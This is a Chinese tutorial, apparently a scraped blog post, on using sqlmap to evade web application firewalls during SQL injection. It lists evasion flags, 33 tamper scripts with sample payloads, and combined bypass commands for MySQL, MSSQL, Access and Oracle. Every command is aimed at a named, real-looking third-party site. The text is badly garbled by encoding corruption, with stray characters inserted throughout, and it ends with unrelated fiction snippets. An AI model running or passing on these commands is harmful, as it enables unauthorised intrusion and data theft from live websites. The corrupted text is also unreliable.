使用sqlmap 繞過防火墻進(jìn)行注入測試

0x00 前言

? ?現(xiàn)在的網(wǎng)絡(luò)環(huán)境往往是WAF/IPS/IDS保護(hù)著Web 服務(wù)器等等苇倡,這種保護(hù)措施往往會過濾擋住我們的SQL注入查詢鏈接,甚至封鎖我們的主機(jī)IP贡羔,所以這個時候孤澎,我們就要考慮怎樣進(jìn)行繞過,達(dá)到注入的目標(biāo)促脉。因?yàn)楝F(xiàn)在WAF/IPS/IDS都把sqlmap 列入黑名單了,呵呵策州!但是本文基于sqlmap 進(jìn)行繞過注入測試瘸味,介紹至今仍然實(shí)用有效的技巧,以下策略在特定的環(huán)境能夠成功繞過够挂,具體是否繞過硫戈,請仔細(xì)查看輸出的信息。

0x01 確認(rèn)WAF

? ? ?首先我們判斷該Web 服務(wù)器是否被WAF/IPS/IDS保護(hù)著下硕。這點(diǎn)很容易實(shí)現(xiàn),因?yàn)槲覀冊诼呋蛘呤褂脤iT工具來檢測是否有WAF汁胆,這個檢測梭姓,在nmap 的NSE,或者WVS的策略或者APPSCAN的策略中都有嫩码,我們可以利用這些來判斷誉尖。在此我們,也介紹使用sqlmap 進(jìn)行檢測是否有WAF/IPS/IDS

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10 --identify-waf#首選

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10??--check-waf#備選

0x02 使用參數(shù)進(jìn)行繞過

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent?-v 2?#使用任意瀏覽器進(jìn)行繞過铸题,尤其是在WAF配置不當(dāng)?shù)臅r候

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --hpp -v 3#使用HTTP 參數(shù)污染進(jìn)行繞過铡恕,尤其是在ASP.NET/IIS 平臺上

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"?--delay=3.5?--time-sec=60?#使用長的延時來避免觸發(fā)WAF的機(jī)制,這方式比較耗時

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"?--proxy=211.211.211.211:8080 --proxy-cred=211:985#使用代理進(jìn)行注入

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"?--ignore-proxy#禁止使用系統(tǒng)的代理丢间,直接連接進(jìn)行注入

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --flush-session#清空會話探熔,重構(gòu)注入

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --hex#或者使用參數(shù) --no-cast ,進(jìn)行字符碼轉(zhuǎn)換

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" ?--mobile #對移動端的服務(wù)器進(jìn)行注入

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4"?--tor # 匿名注入

0x03 使用腳本介紹

1 使用格式:

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --tamper=A.py,B.py#腳本A烘挫,腳本B?

2 腳本總類

01 apostrophemask.py#用utf8代替引號诀艰;Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

02?equaltolike.py#MSSQL * SQLite中l(wèi)ike 代替等號;Example: ?Input: SELECT * FROM users WHERE id=1 ;Output: SELECT * FROM users WHERE id LIKE 1

03?greatest.py#MySQL中繞過過濾’>’ ,用GREATEST替換大于號其垄;Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A'

04 space2hash.py#空格替換為#號 隨機(jī)字符串 以及換行符苛蒲;Input: 1 AND 9227=9227;Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

05?apostrophenullencode.py#MySQL 4, 5.0 and 5.5绿满,Oracle 10g臂外,PostgreSQL繞過過濾雙引號,替換字符和雙引號喇颁;

06 halfversionedmorekeywords.py#當(dāng)數(shù)據(jù)庫為mysql時繞過防火墻漏健,每個關(guān)鍵字之前添加mysql版本評論;

07?space2morehash.py#MySQL中空格替換為 #號 以及更多隨機(jī)字符串 換行符无牵;

08?appendnullbyte.py#Microsoft Access在有效負(fù)荷結(jié)束位置加載零字節(jié)字符編碼漾肮;Example: ('1 AND 1=1') '1 AND 1=1%00'

09?ifnull2ifisnull.py#MySQL,SQLite (possibly)茎毁,SAP MaxDB繞過對 IFNULL 過濾克懊。 替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’

10?space2mssqlblank.py(mssql)#mssql空格替換為其它空符號

11base64encode.py#用base64編碼j Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all

12?space2mssqlhash.py#mssql查詢中替換空格

13?modsecurityversioned.py#(mysql中過濾空格,包含完整的查詢版本注釋;Example: ('1 AND 2>1--') '1 /*!30874AND 2>1*/--'

14?space2mysqlblank.py#(mysql中空格替換其它空白符號

15?between.py#MS SQL 2005七蜘,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替換大于號(>)

16?space2mysqldash.py#MySQL谭溉,MSSQL替換空格字符(”)(’ – ‘)后跟一個破折號注釋一個新行(’ n’)

17?multiplespaces.py#圍繞SQL關(guān)鍵字添加多個空格;Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'

18?space2plus.py#用+替換空格橡卤;Example: ('SELECT id FROM users') 'SELECT+id+FROM+users'

19?bluecoat.py#MySQL 5.1, SGOS代替空格字符后與一個有效的隨機(jī)空白字符的SQL語句扮念。 然后替換=為like

20?nonrecursivereplacement.py#雙重查詢語句。取代predefined SQL關(guān)鍵字with表示 suitable for替代(例如 .replace(“SELECT”碧库、””)) filters

21?space2randomblank.py#代替空格字符(“”)從一個隨機(jī)的空白字符可選字符的有效集

22?sp_password.py#追加sp_password’從DBMS日志的自動模糊處理的26 有效載荷的末尾

23?chardoubleencode.py#雙url編碼(不處理以編碼的)

24?unionalltounion.py#替換UNION ALL SELECT UNION SELECT柜与;Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'

25?charencode.py#Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5嵌灰,Oracle 10g弄匕,PostgreSQL 8.3, 8.4, 9.0url編碼;

26?randomcase.py#Microsoft SQL Server 2005沽瞭,MySQL 4, 5.0 and 5.5迁匠,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中隨機(jī)大小寫

27?unmagicquotes.py#寬字符繞過 GPC addslashes驹溃;Example:?* Input: 1′ AND 1=1?* Output: 1%bf%27 AND 1=1–%20

28?randomcomments.py#用/**/分割sql關(guān)鍵字城丧;Example:‘INSERT’ becomes ‘IN//S//ERT’

29?charunicodeencode.py#ASP,ASP.NET中字符串 unicode 編碼豌鹤;

30?securesphere.py#追加特制的字符串亡哄;Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"

31?versionedmorekeywords.py#MySQL >= 5.1.13注釋繞過

32?space2comment.py#Replaces space character (‘ ‘) with comments ‘/**/’

33?halfversionedmorekeywords.py#MySQL < 5.1中關(guān)鍵字前加注釋


0x04腳本參數(shù)組合策略繞過

1 mysql繞過:

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent -v 2?-delay=3.5 --tamper=space2hash.py,modsecurityversioned.py

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent --hpp? --tamper=space2mysqldash.p,versionedmorekeywords.py

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" ?-delay=3.5 ?----user-agent="?Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=apostrophemask.py,equaltolike.py

備注:這些組合策略可以根據(jù)注入的反饋信息,及時調(diào)整組合策略

2 MSSQL:

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" ?-delay=3.5 ?----user-agent="?Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=randomcase.py,charencode.py

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" ?--delay=3.5 --hpp --tamper=space2comment.py,randomcase.py

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" ?--delay=3.5 --time-sec=120 ?--tamper=space2mssqlblank.py,securesphere.py

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" ?--delay=3.5 --tamper=unionalltounion.py,base64encode.p

3 ms access:

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" ?--delay=3.5 --random-agent ?--tamper=appendnullbyte.py,space2plus.py

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" ?--delay=3.5 --random-agent --hpp ?--tamper=chardoubleencode.py

4?Oracle:

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" ?--delay=5 --random-agent --hpp?--tamper=unmagicquotes.py,unionalltounion.py

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" ?--delay=5--user-agent =“Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0”?--hpp?--tamper=charunicodeencode.py,chardoubleencode.py

5 建議:

? ? ? 因?yàn)閃AF可能采用白名單規(guī)則布疙,所以對于選擇哪種策略磺平,重點(diǎn)是根據(jù)-v 3 提示的信息進(jìn)行判斷魂仍,可以抓取主流的瀏覽器的user-agent ,s適當(dāng)?shù)难訒r,加上注入字符轉(zhuǎn)換---大小寫拣挪、空格擦酌、字符串、注釋菠劝、加密等等方式

? ? ? 鑒于參數(shù)和32種腳本赊舶,在我們平時的注入,這些通過不同的多重組合來進(jìn)行測試赶诊,這個測試或者比較耗時

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末笼平,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子舔痪,更是在濱河造成了極大的恐慌寓调,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,968評論 6 482
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件锄码,死亡現(xiàn)場離奇詭異夺英,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)滋捶,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,601評論 2 382
  • 文/潘曉璐 我一進(jìn)店門痛悯,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人重窟,你說我怎么就攤上這事载萌。” “怎么了巡扇?”我有些...
    開封第一講書人閱讀 153,220評論 0 344
  • 文/不壞的土叔 我叫張陵扭仁,是天一觀的道長。 經(jīng)常有香客問我厅翔,道長斋枢,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,416評論 1 279
  • 正文 為了忘掉前任知给,我火速辦了婚禮,結(jié)果婚禮上描姚,老公的妹妹穿的比我還像新娘涩赢。我一直安慰自己,他們只是感情好轩勘,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,425評論 5 374
  • 文/花漫 我一把揭開白布筒扒。 她就那樣靜靜地躺著,像睡著了一般绊寻。 火紅的嫁衣襯著肌膚如雪花墩。 梳的紋絲不亂的頭發(fā)上悬秉,一...
    開封第一講書人閱讀 49,144評論 1 285
  • 那天,我揣著相機(jī)與錄音冰蘑,去河邊找鬼和泌。 笑死,一個胖子當(dāng)著我的面吹牛祠肥,可吹牛的內(nèi)容都是我干的武氓。 我是一名探鬼主播,決...
    沈念sama閱讀 38,432評論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼仇箱,長吁一口氣:“原來是場噩夢啊……” “哼县恕!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起剂桥,我...
    開封第一講書人閱讀 37,088評論 0 261
  • 序言:老撾萬榮一對情侶失蹤忠烛,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后权逗,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體美尸,經(jīng)...
    沈念sama閱讀 43,586評論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,028評論 2 325
  • 正文 我和宋清朗相戀三年旬迹,在試婚紗的時候發(fā)現(xiàn)自己被綠了火惊。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,137評論 1 334
  • 序言:一個原本活蹦亂跳的男人離奇死亡奔垦,死狀恐怖屹耐,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情椿猎,我是刑警寧澤惶岭,帶...
    沈念sama閱讀 33,783評論 4 324
  • 正文 年R本政府宣布,位于F島的核電站犯眠,受9級特大地震影響按灶,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜筐咧,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,343評論 3 307
  • 文/蒙蒙 一鸯旁、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧量蕊,春花似錦铺罢、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,333評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至势就,卻和暖如春泉瞻,著一層夾襖步出監(jiān)牢的瞬間脉漏,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,559評論 1 262
  • 我被黑心中介騙來泰國打工袖牙, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留侧巨,地道東北人。 一個月前我還...
    沈念sama閱讀 45,595評論 2 355
  • 正文 我出身青樓贼陶,卻偏偏與公主長得像刃泡,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子碉怔,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,901評論 2 345